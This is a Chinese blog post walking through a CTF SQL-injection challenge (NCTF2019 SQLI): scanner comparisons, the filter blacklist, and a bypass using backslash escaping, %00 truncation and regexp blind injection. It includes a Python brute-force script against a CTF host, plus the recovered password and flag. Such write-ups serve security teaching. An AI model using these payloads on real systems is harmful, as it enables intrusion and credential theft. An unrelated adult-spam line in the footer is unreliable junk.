<del id="rnrpn"></del>
    <track id="rnrpn"><strike id="rnrpn"><ol id="rnrpn"></ol></strike></track>

        <p id="rnrpn"><ruby id="rnrpn"></ruby></p>
        <track id="rnrpn"></track>

        <noframes id="rnrpn"><pre id="rnrpn"></pre>

            安全研究 >> 安全研究詳情

            php代碼審計案例之SQLI

            作者: 發布日期: 01月06日
            所謂代碼審計是一種以發現程序錯誤,安全漏洞和違反程序規范為目標的源代碼分析。在安全領域,為了發現安全問題,常通過黑盒測試、白盒測試方法來盡可能的發現業務程序中的安全問題,代碼審計就是白盒測試的常用方法,相較于黑盒測試,由于白盒測試能接觸到源代碼,可以更加詳細的理解業務程序邏輯,也能更全面的發現安全風險。接下來本系列文章將以php代碼審計為切入點,過程中結合常見源代碼掃描工具和動態調試方法,來講解php代碼審計的常見漏洞點和分析方法。本章節以NCTP2019Web題目SQLI為審計對象,相關源代碼網上也都有公開。
            代碼審計過程

            源代碼掃描效果查看

            rips

            1XSS+1SQL注入

            Seay

            Fortify

            2SQL注入+2XSS+3敏感數據泄漏

            總的來看,我們可以知道面對SQL注入這種語法層面的漏洞特征,seay是無力的,它的特征都是針對特定的函數名的。因此在這一道主要重點考察SQL注入漏洞的CTF賽題的時候,seay顆粒無收。而rips和fortify都發現了SQL注入漏洞特征,其主要依據是SQL語句中包含有$_GET,$_POST所提交的數據。

            接下來我們來看一下源碼

            可以看到下面一部分,在進行SQL請求的時候,將$_GET,$_POST所提交的數據直接拼接成SQL,因此這里肯定有SQL注入漏洞。但是在請求之前,通過black_list黑名單列表,對請求的參數值進行的檢查。如果請求的數據包含有黑名單數據,那么就直接退出。因此這里主要考察的就是SQL注入的繞過問題。

            其中黑名單為,不區分大小寫,后臺為MySQL數據庫。

            /limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

            當我們輸入特征時,就會出現下面的報錯

            我們在本地簡單調試一下,當輸入username=123&passwd=123時

            最終構成的SQL語句如下

            "select * from users where username='123' and passwd='123'"

            由于這里單引號在黑名單里,因此這里如果想要形成拼接的話,只有在username處輸入為\,使得第二個單引號被轉義,從而在SQL語句層面中變成一個查詢字符。

            如果沒有轉義符號,會構成SQL層面的語法錯誤

            到這里我們可以形成,大致如下的SQL語句,其中紅色部分會被認為是一個字符串,并作為username的值。

            "select * from users where username='123\' and passwd='123'"

            但是這里由于有3個單引號,SQL語法上還是有問題的,因此需要將最后字符字符處理掉,使其不在整個SQL語句的邏輯中。這里可以通過%00進行截斷

            可以看到,最后空字節%00成功隔絕了最后一個單引號,使得SQL語法不會報錯。

            這里我們注意,即使黑名單里有%00,但是%00會轉成空字節,在進入index.php時,已經被轉為空字節,所以不會匹配到黑名單

            根據最后的代碼邏輯,當我們輸入的密碼和數據庫內的密碼相同,就會將flag給打印出來,因此這里我們就需要利用SQL注入獲取admin的密碼

            由于有黑名單過濾,這里可以通過regexp進行正則匹配注入,不斷的去探測字符。

            例如當想要探測用戶名時,就可以通過正則不斷匹配前面字符,當匹配到時,返回1,沒匹配到,返回0

            select user() regexp '^r'

            同理這里就可以構造passwd字段的值為||passwd regexp "^r";%00

            然后不斷修改'^r'對應的字符,從而獲取passwd的值,另外這里將空格也過濾掉了,通過注釋符進行繞過,得到||passwd/**/regexp/**/"^r";%00

            最終得到

            當passwd/**/regexp/**/"^r";%00 為0時,顯示為空,最終會打印<script>alert(\"try to make the sqlquery have its own results\")</script>

            而當||passwd/**/regexp/**/"^y";%00為1時,顯示真實的賬號密碼

            從而跳轉到welcome.php頁面。

            根據這個特性,最終編寫腳本進行自動化發現

            #coding:utf-8import requestsimport timeimport stringurl = "http://9b6213b7-4b4b-425b-8083-b30bb81d996c.node4.buuoj.cn:81/"str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits payload = ''for n in range(100): print(n) for i in str_list: data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)} res = requests.post(url = url, data = data) if 'welcome.php' in res.text: payload += i print(payload) break elif res.status_code == 429: time.sleep(1)

            得到密碼為you_will_never_know7788990

            回到登錄框,輸入賬號密碼,賬號隨意,密碼為you_will_never_know7788990

            最終得到flag為

            flag{f3fb8909-fd48-4ae0-8978-adcd84175f0e}
            服務熱線:400-811-3777
            Copyright ?2005-2022 杭州美創科技股份有限公司. All Rights Reserved. 浙公網安備 33010502006954號 浙ICP備12021012號-1 網站地圖
            free性丰满白嫩白嫩的HD
            <del id="rnrpn"></del>
              <track id="rnrpn"><strike id="rnrpn"><ol id="rnrpn"></ol></strike></track>

                  <p id="rnrpn"><ruby id="rnrpn"></ruby></p>
                  <track id="rnrpn"></track>

                  <noframes id="rnrpn"><pre id="rnrpn"></pre>